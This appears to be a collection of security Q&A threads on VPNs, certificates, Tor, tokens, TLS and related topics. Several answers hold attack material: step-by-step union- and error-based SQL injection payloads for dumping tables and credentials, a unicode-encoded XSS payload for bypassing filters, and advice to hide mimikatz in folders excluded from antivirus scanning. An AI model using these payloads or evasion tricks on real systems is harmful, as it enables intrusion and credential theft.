How can a VPN use a virtual router and not send encrypt traffic and still be safe? Today in networking class we were talking about VPNs. The prof got on topic of virtual routers and said that a way some VPNs work is by a client would purchase the service from the ISP and the ISP would have a separate virtual router for each client, so that each router has it's own routing table (and this would somehow guarantee no two separate clients get packets that's not meant for them). He said that not all VPNs use encryption. Is this true? I don't get how this would be secure, because if each node along the way from the ISP to the client's network is relaying a packet then they could see it in plain text if it's not encrypted and if they are trusted then how would this be different than a least line?

There do seem to be these two uses of the term VPN.

Obviously the most important bit is Privacy - and many people (myself included) can only accept privacy exists if there is encryption, but as R15 mentioned, MPLS providers typically call their service VPN but rarely have encryption enabled. They rely on routing segregation.

It can be safe for some communications, but it presents a couple of key risks:

data in the clear could be intercepted anywhere along the route, including in the MPLS provider's network
routing failures could expose your traffic to other customers of the MPLS provider


How to ensure security between devices from different manufacturers over multicast I'm involved in the design of a protocol that allows different manufacturers to share data amongst their products. The protocol uses multicast over Ethernet so any device can join. Note that it's very likely there won't be an internet connection on the network.

Unfortunately they're only now starting to talk about security - primarily making sure commands come from a known device. Since all the devices are made by different manufacturers I can't think of a way of making sure each device is who they say they are. The obvious solution would be certificates but because we can't guarantee internet access we can't add knowledge of new certificates once a device has shipped.

Are there any other standard ways of doing this?

The obvious solution would be certificates but because we can't guarantee internet access we can't add knowledge of new certificates once a device has shipped.

Sometimes, the truth is obvious: You need to cryptographically make sure the sending device is who it claims to be. That's a certificate's job!

So, you can't do an online check. Doesn't really matter -- an online check wouldn't be any more secure than the trust of a CA verified locally.

Thus:

build a certificate authority
issue certificates to manufacturers, signing their public keys.
manufacturers use their private keys to sign device certificates individually
devices send signed messages
devices must verify the signature of messages by

requesting the sender's certificate from the sender, comparing message to certificate ("was this message signed with the private key that corresponds to the public key that was signed within this certificate?")
verifying the sender's signature by checking whether the sender can actually offer a signature of a manufacturer ("was this public key actually signed by a manufacturer?")
verifying (including requesting the manufacturer's certificate from the sending device, if not available on the receiving side) that the manufacturer has a signature from your CA ("was this manufacturer's public key actually signed by someone with access to the CA's private key?")


How can I tell if Windows is running SMB? Due the vulnerability in Windows SMB Server (MS17-010), how can I tell if it is running? I am using Windows XP. None of the services I have running has the word "SMB" in the title or description.

What is the name of the service that implements SMB Server?

Answer to this question:

(1) There is no service that runs the SMB server. It is a native system process that runs in the NT kernel.

(2) If the kernel is running SMB, it can be detected by giving the command netstat -an to display all network listeners. If port 445 is listening, then it means the SMB server is running.


Theoretical VPN and Tor Encryption Chain Okay, so I've been looking around at the benefits of using tor to access you vpn and vice versa. Here's what I've come up with:

VPN -> Tor

Pros:

Hides Tor usages from isp
Hides your activities from VPN logs (They
only see that you're using tor)

Cons:

If VPN does log, it's no better than using tor via ISP
If VPN connection drops, and you are not using a kill switch, ISP will see tor usage

Tor -> VPN

Pros:

More anonymous to VPN in case they keep logs
Protects you from compromised Tor nodes

Cons:

Show's ISP that you are using tor
Can't access .onion sites

So, I was thinking that if you were to invest in two separate VPN accounts using bitcoin and some means to prevent tracing of payment you could then chain VPN to tor -> VPN -> Tor. Wouldn't this remove all cons?

If you looked at their privacy policy, checked all legal documents, and made absolutely sure that they keep absolutely 0 logs of data, Wouldn't this chain be optimal? The first VPN prevents your ISP from seeing that you are using tor, then tor encrypt your data to the second VPN, and finally the second vpn sends it's data to tor again so that we can access .onion sites.

Also, would it still be unwise to connect to social media sites and things of that sort? If so, why?

EDIT: I was thinking more about it and I suppose that if you had a VPN who you were sure kept absolutely zero logs then you could simply use tor to access .onion sites, but wouldn't that be the only point?

You better use VPN -> Tor, because you have actually no cons you've listed:

If VPN does log, it's no better than using tor via ISP It is better, because VPNs are not censoring network access like ISPs:  you can always find a VPN provider that will allow Tor usage, willingly or not - bridges with pluggable transports like obfs4 are very good for that. And both VPN and your ISP will have a log/protocol of your connections unmappable to your actions.
If VPN connection drops, and you are not using a kill switch, ISP will see tor usage nope, you use a proper firewall config and ifup/ifdown scripts to not-to-leak a single byte from tor except through a tunnel interface. It's a piece of cake task: you're running Tor under an unprivileged user and allowing this user to use your tunnel interface only. In case of ifdown event you set DisableNetwork 1 and Tor "sleeps" until you will re-enable it in ifup event handler.


What is the benefit of the database's information_schema for a hacker? What is the benefit of the database's information_schema for a hacker? I am talking about SQL injection exploitation.

He can map which tables are in database as well their columns


Token-based authentication - what's a good token length? What's a good token character length for a token-based login? Currently I'm using the following code:

<?php
$token = bin2hex(openssl_random_pseudo_bytes(16));

Is 16 sufficient or should I change it with a more adequate number? Should be useful generating randomly the length? And if yes, what should be the range (min and max length)?

An update for those that find this question since it ranks highly on Google.

If appears from the current PHP documentation that openssl_random_pseudo_bytes can generate a cryptographically strong string, but this is system dependent.  You need to pass in a second parameter then check the response like so:

openssl_random_pseudo_bytes( 32, $cstrong );
if ( !$cstrong ) echo 'weak!';

If $cstrong is false the string is not cryptographically strong.

http://php.net/manual/en/function.openssl-random-pseudo-bytes.php

If you're using PHP 7+ you should use random_bytes instead.

http://php.net/manual/en/function.random-bytes.php

Personally I generate tokens as follows:

$token = bin2hex( random_bytes(32) );

This generates a 256 bit string, which is a bit of future proofing.


Convince an executive to mandate HTTPS use on Intranet web servers I know someone who works at a medium-sized company (between 1000 and 10,000 employees) and is somewhat chagrined that several intranet Windows web servers (SharePoint, internal apps, etc.) continue to authenticate Windows domain users using basic and NTLM auth over insecure HTTP connections.

He recently talked to a department head about the problem, explained the primary threat model (MITM credential stealing via any compromised device, even printers), and got push-back: "If someone we don't trust is in our network, we have a much bigger problem."

Also, the department head thinks very highly of his employees and would bristle at the suggestion that employees themselves ought to be part of the threat model.

What approach would you suggest taking when discussing the issue with this executive?

(Using a throwaway account to avoid any inferred connection to the above company.)

Insider threat is always a possibility, but managers are always going to react defensively when they (and by extension, their team) are brought under scrutiny. Especially when you confront them with direct evidence of an underling's misdeeds.

Don't bring employees into it. Rephrase it in terms of compromised credentials-- "it's not about what Jenny in accounting might do, it's about what someone who steals her credentials will absolutely do."

...even if Jenny truly is a menace to the company.

  If someone we don't trust is in our network, we have a much bigger problem.

It's about threat mitigation. Just because an attacker has gained a foothold doesn't mean they've already started to enumerate or spread or pwned your entire infrastructure. For all you know he's contained on one machine, where he's stuck trying to guess at server locations and credentials to the next. This is a small and simple problem to remediate.

But with credentials floating around in the clear, if he starts eavesdropping on network traffic, he can obtain new sets of credentials to masquerade as and new locations to breach. The scope of his infiltration expands quickly, as do the number of places for him to maintain persistence in your network. Only now has that "bigger problem" materialized.


XSS and XXE payload in XML attributes value I am testing web application with functionality of file upload. The only possible file format is XML. The content of the file saved in XML attributes is then presented on the separate page.

For example XML file looks like this:

<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://www.w3.org/1.0">
<Body CaseId="Test/123656">
    <person gender="female">
    <note date="2008-01-10">
</Body>
</Request>

The value of CaseID, gender and date is than presented on another page.
Is it possible to send somehow XSS payload in attribute value if web application blocks "<"?
I would like to test also XXE,
is it possible to reference to external entity in attribute value?

XML Parsers usually interpret Unicode so you could use the format \u00HH and bypass validations for <>,for example:

\u003Cscript\u003Ealert(1);\u003C/script\u003E

When XML Parser read the data structure to show on view, then it interprets the Unicode Characters and the result is the following:

<script>alert(1);</script>

I hope this information helps you.


Chrome Internal Certificate Authority List for SSL + EV Chrome specifies that it maintains a internal "hard-coded" list of root certificates that are "EV-Qualified".

https://www.chromium.org/Home/chromium-security/root-ca-policy#TOC-Extended-Validation-Certificates

Is there any up-to-date list of these certificates that is publicly available?

To be totally clear - This question pertains specifically to Extended Validation Certificates I understand that we can manipulate our trusted certificates for non EV.

Also, has anyone experienced what happens when Chrome encounters an EV cert which has a user-defined trusted root which is not in the "hard-coded" list?  I'm wondering how this would work behind a "SSL-Inspecting" security device.

You can easily find them in the source code of Chromium:

ev_root_ca_metadata.cc

If the EV Root Certificate isn't in that list it will simply be used like any other root certificate, i.e. no fancy name company name in the address bar.


Add Cipher Suite support to Chrome/ Chromoium? I would like to know how to add Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA support to the new versions of Chrome?
Since Chrome v25/26 Google stopped the support of Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA. Unfortunately, I am working on application that require such a cipher and for that I have built a kind of Extension/Addon for it on Chrome. Without the support of this cipher my addon/extension will be useless.

Does anybody how to fix such an issue?

I have used the following command
chrome.exe --cipher-suite-blacklist=0xc007,0xc011,0x0066,0xc00c,0xc002,0x0005,0x0004

then I checked my browser SSL support using this website:
https://www.ssllabs.com/ssltest/viewMyClient.html

but I still can't get my application to work. Is there anything I missed? is the cipher order matters?

Cipher suites are removed or added by Google through software patches or updates.  You can blacklist cipher suites by adding a command-line argument to Chrome's startup; as shown in this answer.  Hexadecimal values for each cipher suite can be found here.

There isn't any functionality for enabling non-default cipher suites.  I believe you might be stuck with changing your application's cipher suite to a newly supported cipher suite.

Here is the most recent issue I could find.


How to make a well-known malicious programs undetectable by anti-virus solutions? I want to make well-known malicious programs, like Mimikatz and Incognito, undetectable by anti-virus solutions.

I have already tried various approaches myself, like packing the binary with UPX or modifying the source code in C/C++ (+ various compiler optimizations). Suffice it to say, that my source code modifications are not simple, but using various forms of refactoring and removal of unnecessary features.

However, while all my attempts have reduced the number of detections on virustotal.com, still the majority of anti-virus solutions flags the resulting binaries as malware.

How can I modify or obfuscate the programs, either at the source code or binary level, to make them undetectable by majority of anti-virus solutions?

How to make a well-known malicious programs undetectable by anti-virus solutions?

Just to be clear: In the body of the question you ask "How can I modify or obfuscate the programs... to make them undetectable..." This is not the question I am  answering. I am providing an answer to the more general question posed in the title of the post. The reason for this is because it is difficult to answer the modify/obfuscate question without knowing exactly how the AV tools do their fingerprinting.

But anyways, one technique that I have found very helpful is to look at the configuration of the AV program. Often a unprivileged user can view the settings, even though they can not modify the configuration. In the settings there are often a number of "excluded" location. For example, a business may want to exclude certain "Program Files" subfolders from being scanned because it "trusts" the all executable in those folders.

If you find a "trusted" folder then just dump a 7zip/encrypted version of mimikatz (or whatever you want) into the trusted folder and unzip it in place there. Boom, you are in.


Cross-Device-Tracking on Facebook with partners like Amazon I have a question regarding cross-device-tracking, especially on facebook. I'm interested in how this is done and I'm a bit concerned about my privacy.

Yesterday I surfed on amazon (logged in with my account) on my parents computer and clicked on some products (I did not log in to facebook on that computer). Today I was surfing on facebook on my laptop and I saw facebook ads with the same products. You should know that I'm not logged in to amazon on my laptop and that I have no cookies because I delete them after every browser session.

So, how does facebook know which products I looked at on other devices? Does facebook have my amazon account name or something like this?

Based on your clarification, I think that you were re-targeted based on your IP address and some personal/demographic qualities.
I assume you understand that if it happened on the same computer, or while logged in to your FB on both computers, it was simple retargeting - Amazon showing recent product searches as a FB ad to FB users who visited the same product in the past X days.
Since FB doesn't reveal its ad-serving algorithm, I can only guess here, so I apologize in advance for the opinion-based answer.
I do have experience with FB ads and met with their representatives personally more than once, when they demonstrated the FB ads features. These guys claimed that FB ad serving algo is a "black box" that uses a lot of data for ad matching.
In any case, depending on the products you were searching, you might have been retargeted based on your interests on FB in addition to your IP address and recognized as the user who searched Amazon.
For example, if you're a 16 year-old male, and you were looking for video games on Amazon on your parents' computer, the connection could be made on FB's back-end that it was in fact you, because you're probably connected to your parents' FB accounts, you're on the same IP, and the interest in those specific ads fits your demographic much more than that of your parents.
To me, this is the most logical theory. I hope it makes sense.
Here's some interesting reading material about how the advertising industry tackles cross-device tracking, and specifically this section could be interesting for your case:

There are two ways to establish user identity across devices, one far more exact – and therefore potentially more problematic from a privacy perspective – than the other.
The deterministic method relies on personally identifiable information (PII) to make device matches when a person uses the same email address to log into an app and a website, thereby creating cross-device linkage. As long as a user is logged in across devices, advertisers and publishers can use this unique identifier to target those users on multiple screens with near-perfect precision.

...

Probabilistic cross-device matching is achieved by algorithmically analyzing thousands of different anonymous data points – device type, operating system, location data associated with bid requests, time of day and a host of others – to create statistical, aka likely, matches between devices. For example, if a phone, a tablet and a laptop connect to the same networks or Wi-Fi hotspots in the same places every weekday, it’s safe to surmise that all three devices belong to a specific commuter.

To conclude, I think that FB is using a combination of both the deterministic and probabilistic methods to conclude you were the user on both machines and serve you Amazon's retargeting ads.


TLS decrypt-and-forward Not sure if this is the right place for this question, but I'm looking for a way to establish secure inbound email traffic from external senders with an automated decryption mechanism within my organization.
Our workflows require that emails flow into a document management system, and TLS-encrypted emails do not support this. Curious if it is possible to configure a mechanism where:

External parties send TLS-encrypted emails to a mailbox
Automated mechanism decrypts the email and forwards a decrypted version to a secondary mailbox
Document management system integrates with secondary mailbox

Apologies, not my area of expertise!

Yes.  Most Mail Transport Agents (MTA's), such as Exim, Postfix, etc. have the ability to receive incoming mail from sending MTA's by way of TLS, so that the transport of messages from the sending MTA to the receiving MTA is through a TLS connection.   Most MTA's also have the ability to forward all incoming mail to a script running locally on the MTA.  You can cook up a small script (e.g. in python) that receives each incoming message as it comes in, and do whatever you need with it.  See https://unix.stackexchange.com/questions/406026/redirect-all-incoming-email-to-a-python-script as a starting point.
Another possibility is to write python script that runs on a different host, that pops the incoming messages from the receiving MTA's POP3 server via POP3 (or possibly IMAP).  See https://stackoverflow.com/questions/8669202/get-emails-with-python-and-poplib for more info on this.


How to determine if resolved ip is rogue or part of CDN? I'm subscribed to goverment's owned ISP because only this ISP provides access to rural area.  It has a bad reputation because it is not only redirects sites, but  also injects JavaScript for advertising at the end of HTML pages.

I've been using dnscrypt to avoid redirection.  But a few hours ago, I accidentally discovered that DNS request for www.google.com resolved to 118.98.111.30.  I'm using OpenDNS as a provider for dnscrypt-proxy.

A quick whois shows that the IP is owned by my ISP.  After restarting my home routers and PCs, DNS requests for www.google.com return IP owned by Google and never return 118.98.111.30 again.

I would like to know what I can do to determine that this IP is part of Google's CDN or some kind of rogue site?

You might have hit the "Google Global Cache" where servers are placed on your ISPs network to provide lower-latency access to commonly used resources.  The fact that visiting that IP address in a browser gives the Google search page reinforces this likelihood.

As for trusting IP addresses: don't.  Always use protocols protected by strong end-to-end encryption (TLS) and rely on the certificates presented.  While they might not be perfect (they're not!), the TLS infrastructure is a lot better than trying to be reassured about DNS.  (Though dnscrypt and/or DNSSEC can offer some reassurances in the DNS space as well, they're not widely deployed.)


Ways to detect CVE-2017-12419 intrusion I have a free infinityfree.net web server that was vulnerable to CVE-2017-12419 for quite a big window of time.
After fixing the gap and changing the passwords, what are some ways to detect if the server has been intruded?
Is it true that the vulnerability only allows read-access? Can audit logs still be trusted?

It appears that the CVSS "Integrity" metric is "N" for None:

AV:N/AC:L/Au:S/C:P/I:N/A:N

http://cve.circl.lu/cve/CVE-2017-12419
Even though this exploit provides read-only, it is unclear what remote files are accessible. At the very least, any passwords stored in PHP files are likely compromised.
Under Linux, you will want to verify which user is running PHP on behalf of the web server, and what permissions that user has.
The proof of concept in the vulnerability report tries to read /etc/passwd which is a common root access check.
https://www.mantisbt.org/bugs/view.php?id=23173
It would be unclear if you could trust server logs if root access was possible.


How did I get hacked and what was accessed? Two days ago I installed a new router. It was a new TPlink AC1900. I established a password for the web admin, went through the quick setup questions, changed the IP ranges for the DHCP service from the default 192.168.0.1 to 192.168.1.1 to match my prior router. Those were the only changes I made as far as I could tell. I didn't change or turn on port forwarding or set up VPNs or gateways. I also upgraded the firmware and downloaded the tplink app onto my ipad (but didn't create a cloud account) and made sure the app could connect ok.

Among the devices on my LAN is my main desktop computer which runs linux mint version 18.3. The VNC/desktop sharing service is enabled but doesn't require a password (one of many problems this experience has taught me). On this computer I also have a libre calc file, not password protected (another problem), that contains all my website usernames and passwords. This password document does not have a filename that would suggest it was a file containing passwords, so it's possible it was already open when I got hacked because it'd be amazing if they guessed they should open that specific file.

This morning when I woke I turned on the monitor (I often forget to turn off the computer for the night) I noticed activity on the screen. On the task bar were a 15 or so open folders, all open to my home folder. Cinnamon melange debugger was open. A desktop sharing session was active to an external IP address I didn't recognize. My libre office password file was open, and in the last rows of the spreadsheet the following had been typed:
cmd.exe /c PowerShell -ExecutionPolicy Bypass ...blah blah blah a bunch of other stuff...

and the following was being typed when I realized what was going on and pulled the network cable:

rcmd.exe /c PowerShe

I assumed this was the result of someone having exploited my new router somehow. I logged in using the password I had created at install and under "Advanced Routing" there was an entry for a gateway IP address I didn't recognize. My IP Address is currently A.B.C.D but the gateway listed had an IP with a similar but not same address A.B.C.Z. No ports were being forwarded to explain how my desktop was being accessed.

I'm wondering how this all happened. I suspect some sort of script/bot found a way to log into my desktop via VNC but didn't realize I was linux rather than windows and that's why it was typing those commands into my libre calc document instead of a command line. But how did the script get behind my router when I hadn't set up any port forwarding? I discovered there is a router account named admin with password admin that I didn't realize was there (the web interface using a separate password), but my router does have the "remote management" option enabled.

I already know I need to add a password to my VNC server and store my passwords in keypassx or some other password-protected, encrypted document. I have reverted to my old router for now.

Based on what I've written, do you suspect the new router was the vulnerability or is it my linux mint computer?
Is there a way to see on my mint computer what specifically was accessed or how it was accessed? I left the computer on after I unplugged the network.

I believe I found the vulnerability. On my linux box's Desktop Sharing app I had enabled "Automatically configure UPnP router to open and forward ports" a long time ago without realizing it. My old router did not support UPnP so it hadn't been an issue. Not only does my new router support it, but it apparently is enabled by default (WTF TPLink thanks for that!). When I run a port scan against my IP address with my desktop computer off, no ports were open. When I run a port scan with my desktop computer connected, the default VNC port 5900 was open, and sure enough on the router a port forwarding rule had automatically been created via UPnP.

My suspicion was that a bot port scanner discovered my open VNC port and connected to it, then tried a bunch commands intended to install malware/ransomware on a windows machine. It probably opened my formerly-unlocked password file via a custom hotkey I have (SuperKey+P), and all my open folders to home were probably the SuperKey+E, and Cinnamon melange window was probably opened via SuperKey+L.

And the admin:admin user was actually not for the router but for USB sharing which I have disabled.

And indeed I plan to spend the rest of the day updating all my passwords.


Dumping custom query via SQL injection when output is in the die() function? On my localhost I have a PHP link like this

abc.com/index.php?q=XYZ

where XYZ is a base64encoded parameter that I have verified is injectable. When I try abc.com/index.php?q=XYZ' it returns

  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for

So probably the query is

`select * from TableName where q={QUERYPRAM`} or die(mysql_error());

How can I write my custom query here or get information since the output is actually in the die() function?

I normally use SQLMap for this function, but that is behaving very slow and closes request immediately.

You need to figure out if the parameter is being parsed as an integer or a string (most probably as string). If the query is balanced and successful, It won't die().
try ..

1' order by 1-- -

or ..

1 order by 1-- -

If the first one returns an error, that means the parameter is being parsed as an integer so you don't need a quote (') to perform the injection.

Now, there are many different ways to dump the data here. But I'd prefer the following two:

First:

You need to check how many columns are there in the query before the injection point. You can try the order by clause here. Start with the highest number. For example:

1' order by 1000-- -

It'll throw an error.

ERROR 1054 (42S22): Unknown column '1000' in 'order clause'

Now, start decreasing the count. You'll know the exact column count when the query is successful. Let's say there are 5 columns.

1' order by 5-- -

So, this won't throw an error.

Now, just append a UNION query with 5 columns and negate (and 0) the actual query.

1' and 0 UNION SELECT 1,2,3,4,5-- -

If everything goes right, you'll see the vulnerable columns on the page. Lets say the vulnerable column that appears on the page is '3'. You can dump the data in this column.

1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -

or ..

1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -

If MYSQL version is greater than 5, You can do this to dump the table names.

1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -

and so on ..

Second:

You can also dump the data in the error itself. There are many ways to do that but I prefer MYSQL XML functions.

1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -

This'll throw an error with MYSQL version.

ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'

Then, you can use subqueries to get the data.

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -

You'll get the first table name in the error.

ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'

EDIT:

To get the Nth table_name, give an OFFSET in the LIMIT clause like LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 and so on ..

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -

This'll show the second table name in the error.

ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'

For Nth table_name:

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -

Edit 2:

There's no need to dump data columns one by one. You can concat multiple columns like:

(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)

Q: "can we dump or get all table names in one hit ?"

MYSQL Error has a character limit. This LIMIT varies from function to function. So far, the highest number of characters I've seen is by using the polygon() function. Here's an example query for MySQL version < 5.6.

1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as `` )``)``))-- -

Output:

Illegal non geometric '(select `` from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing

We can dump alot more data in UNION based SQL injection but in error based you cannot dump data more than the character limit of the MYSQL error.

Make sure you encode (BASE64) your payloads.


Can message length be useful information? Suppose a packet is encrypted and sent via an insecure channel so that it is intercepted by a malicious third party as well as the intended recipient. As long as a suitable encryption scheme is used, the message should be (practically) uncrackable.
However, assuming that encryption preserves message length to a certain degree, the third party will gain some info about the size of the message. Is there any context in which knowing only a message’s length could be useful to a hacker? If so, what are some examples?

While the length of a message alone is not suitable to directly extract the secrets it might be a valuable context information. If the length of the plain message alone provides useful information then the length of the encrypted message will usually not fully hide these information (only a bit due to padding). Such context is especially useful if there is not only a single message but when many messages can be observed.
The length information can for example together with timing information be used for fingerprinting traffic, like distinguishing DNS over HTTPS from "normal" HTTPS. With DNS over TLS it might also be possible to narrow down which requests where done based on the length. Length information played a major part in the BREACH and CRIME attacks against TLS and HTTPS, where the visible length of the compressed and encrypted content made it possible to figure out parts of the unencrypted content.


Pre-negotiated encryption over TCP My company uses HTTPS to make terminals talk to servers.  We optimized as much as we could (using session id and session tickets). Problem is that latency is so high that any HTTP request costs ~4s just to establish secure connection! If we used plain TCP, connection would take place in ~1.5s!

So my question is: is there any way to pre-establish encryption session so that we can pay only TCP connection time?

Currently a TLS handshake needs at least 2 round trips for the full handshake or one round trip for resuming a previously established session. This means there is currently always round trip overhead with TLS which can heavily impact the connection setup if you have a large round trip time, as it seems to be in your case.

With the new TLS 1.3 this overhead will be greatly reduced up to a 0-RTT handshake if resuming a session. Currently TLS 1.3 is still not fully standardized yet (will be hopefully this year) and even after it is standardized it will probably take several years before it is supported by the majority of client and servers. But, if you need a 0-RTT protocol now and have full control over client and server, then you might start using TLS 1.3 already in your own environment. Even if it is not fully standardized yet it is probably better than designing your own protocol.

For more details see An overview of TLS 1.3 and Q&A which describes both TLS 1.2 handshakes and TLS 1.3 handshakes.


Security of a Windows XP system after April 8th when running the latest Firefox or Chrome As we all know, Microsoft stops developing security patches for Windows XP very soon. If a bug in the kernel was to be found that would allow an attacker to take control by, say, sending a specially crafted UDP packet, this would not be patched.

But what if the system is a desktop behind a common NAT router and the only internet application is a browser? Exploiting any bugs will have to happen exclusively through the browser. By running the latest version of Firefox or Chrome, wouldn't the system be reasonably secure?

Of course no suspicious attachments should be opened, but that is the case with any system. Perhaps in XP you can ruin the entire system with a virus whereas on a 7 machine you can only mess with the user's account, but userspace contains enough juicy stuff that I wouldn't say this makes much of a difference on a single user system.

For now I see no immediate risk in running XP for another few months on a desktop when Google Chrome is the only internet connected application. It saves someone buying a new computer. I have already advised the owner not to do online banking on it (better do that on the newly bought work laptop), but besides that...

Did I miss anything obvious in my reasoning, or is XP secure enough for casual use in this case?

It's a risk.  XP has had enough holes over the years that it's hard to imagine there aren't some un-found holes in what remains.

I'd recommend getting off XP if possible.  If not, at least keep your ear to the ground.  If a researcher finds more vulnerabilities that Microsoft is now unwilling to fix, you can bet they're going to hit the tech news media.

Tell your client it's time to consider changing, and to save a few dollars for a new system.  You can also consider alternative operating systems that won't require a new computer:  an installation of linux should be able to run on anything that currently runs XP.  This might be a fine choice for someone who isn't dependent on Windows native apps.


Security through obscurity - "https requests" are safe? In an iPhone app that utilizes plain text (unencrypted) XML as the contents of its http POST requests over https to the app server; how would someone be able to discover the "format" of the plain text XML requests inside the packets sent over https protected channel?

Please note, the attacker has access to the application and could use a packet sniffer/analyzer but wouldn't the SSL encryption prevent them from getting the contents of the packets? How could they overcome that...

The attacker could Man-In-The-Middle attack their own iPhone by creating a custom CA.
SSL/TLS prevents third parties they don't trust from listening in. The attacker has no reason to distrust themselves and their iPhone allows them to make it trust whatever they want.

The format won't be safe, and shouldn't be (be, not contain) sensitive information.


Doesn't Hashing Negate Quantum Computer Cracking? I've read/watched a lot about Quantum Computers, trying to really get into the physics of it. Seems like the topic is poorly explained. I do understand that it takes a lot of qbits to beat modern encryption, so there's no concern for a while longer.
So while I do see lots of articles/videos claiming Shor's algorithm will defeat encryption, nothing has explained how the key is captured, and/or how the hashing/salting of the key is undone such that the algorithm has a proper number to work with. Seems like those are pretty big hurdles to overcome regardless of the algorithm.

Shors algorithm breaks the assumption that finding primes pairs is hard (one of the main assumptions of algorithms like RSA).
So Shors Algorithm allows you to 'quickly' find the matching prime pair given a known prime (e.a. the public key)

Elliptical Curve Algorithms are not vulnerable to Shors algorithm, (and currently there is no known algorithm to shorten it)

The above is Wrong. Eleptical curves are also vulnerable to Shors algorithm
So your assumptions are wrong:

Do you need to break the hashing/salting: No
Do you need to capture the key: No

What you need is some processing and the Public key of something (e.g. the key you do not keep secret and here with everybody)


Can be PGP keys in Ubuntu been replaced? If some attackers compromised an ISO image of Ubuntu and replaced inner PGP keys , then I will not to able get&install security updates. Is it right?

I'm asking it because I possible may meet the compromise OS and I heard that Ubuntu updates are PGP signed.

All updates in Ubuntu are signed and the signature is verified relatively to the PGP public keys install to that effect. A package won't be accepted as genuine unless its signature matches one of the keys. These keys are themselves installed and updated through the ubuntu-keyring and ubuntu-extras-keyring packages.

If an attacker manages to alter these packages on the ISO image that you use to bootstrap the whole process, then:

If the attacker removed or replaced the Ubuntu keys then your machine won't accept any extra packages, including updates, from the genuine Ubuntu servers.
If the attacker simply added his own public key but left the genuine keys in place, then updates will still work -- including a possible update to the ubuntu-keyring package, which may thus "kick out" the attacker by removing his extra key.
You are doomed anyway, because an attacker who could alter the ISO could have inserted backdoors in dozens of packages, keys or no keys.


GPS working and anonymity Does gps make any log, which is store in there positioning system ?
Even if gps is off in our smart phone and we don't have any sim card in it and our internet is off too still is their any chance to get our location?

No, there isn't any log on the satellite - it's just broadcasting a time signal and an identifier. Anyone can pick it up - think of it as being like a radio broadcast.

Phone location, as in how police track a specific phone, doesn't work using GPS directly. A limited amount of location data can be obtained by looking at which cell tower the phone is connected to. The range that this provides varies in relation to the cell size - in dense areas, like cities, it gives a more precise location than in sparse coverage areas, like lightly populated rural regions. If the phone has an internet connection, you can also plot location with some accuracy from the WiFi access points which can be seen (especially in countries with regular Google maps updates). If the internet connection is off, that probably won't work, but it might be possible to identify locations which have been visited at a later point, when internet connectivity is restored. It would depend on the specific applications on the phone.


What does it really mean if a TCP session gets hijacked? Can TCP session hijacking be used to intercept (and modify the contents sent by the client) a simple TCP socket-based client/server connection? I read somewhere that this was not possible.

And I am trying to understand what this is.

Can anyone please tell me more about the link above, the page was not too informative.

If you are an active man in the middle who can read and modify the traffic (as in the case of the link you have in your question) then TCP hijacking is possible since you can capture the packets from both sides and modify both content and TCP header (and thus also the sequence numbers) before forwarding.

  I read somewhere that this was not possible.

It is hard to tell what you've really read and where but I assume that you were reading about blind TCP hijacking. In this case the attacker can only inject traffic but does not see the original traffic nor can stop the original traffic. In this situation it is much harder (although not fully impossible) to hijack the TCP connection since the attacker need to guess the correct sequence numbers and ports instead of having the correct sequence numbers from the captured traffic.


AES-256 Key Length Importance I've read some informations on AES-256 crypting methods. But I'm still confused on what's the importance of the key length?

Context: I want to crypt a 7Zip archive with the AES-256 option. And I'm wondering how long should my password be.
I don't want to consider the ways of generating password here, let's assume I've the capacity to generate a fully random password with characters, numbers and symbols.
I don't want to talk about time to crack the encryption, since I've got no example to propose on this.

Question: If I'm using 256-bit AES, does that mean I should use at least a 256-bit key, thus, 32 characters? If that's wrong, why is it wrong?

I've read some information regarding AES here,
How secure is AES against Brute Force Attacks. And it seems to say that we should use a 256-bit key.

AES-256 uses a key that is exactly 256 bits long.

Because the encryption requires a key of an exact size, 7Zip doesn't use your password directly as the encryption key.  Instead, it runs the password through a key derivation function to produce a suitable encryption key.

Since your password isn't used directly as the encryption key, its length doesn't really matter.  Rather, what matters is the password's "entropy", a measure of how hard it would be for an attacker who knew how you generated the password to guess what your password was.  If you used 32 random bytes, you would have a password with 256 bits of entropy, as would a password of 197 characters of grammatically-correct English gibberish.  Simpler passwords have lower entropy, and are easier to guess.

The key size of 256 bits puts an upper bound on the useful complexity of the password.  If, for example, you used 48 random bytes (or 300 characters of gibberish), an attacker could ignore your password and instead search for a shorter password, probably 32 bytes long, that produces the same key.


Is a secure session kept alive between browsers? TL;DR
When a connection is refused when accessing a .mil website over HTTPS repeatedly in Internet Explorer, first logging into the site in Chrome will enable IE to connect every single time. Why is this?

I do IT servicing at a university for American ROTC cadre. So active duty military service members on a non-military network, we often have to come up with some workarounds due to this. One that has come up often for the Army is when attempting to access AKO(https://www.ako1.us.army.mil/) in Internet Explorer and Windows 7(untested in win10) it will sometimes throw an error and not connect, unfortunately I don't remember what the specific error says but I think it's an IE connection refused error. In any case, consistently the fix for this is to go to AKO on Google Chrome, login to the site that way, then with Chrome still open, access AKO in IE and it works.

More recently a single user on Windows 10(newly imaged, happening since the start) in the Air Force was repeatedly but intermittently(maybe 80%+ of requests) getting the error,

  Can’t connect securely to this page.
  This might be because the site uses outdated or unsafe TLS security settings.

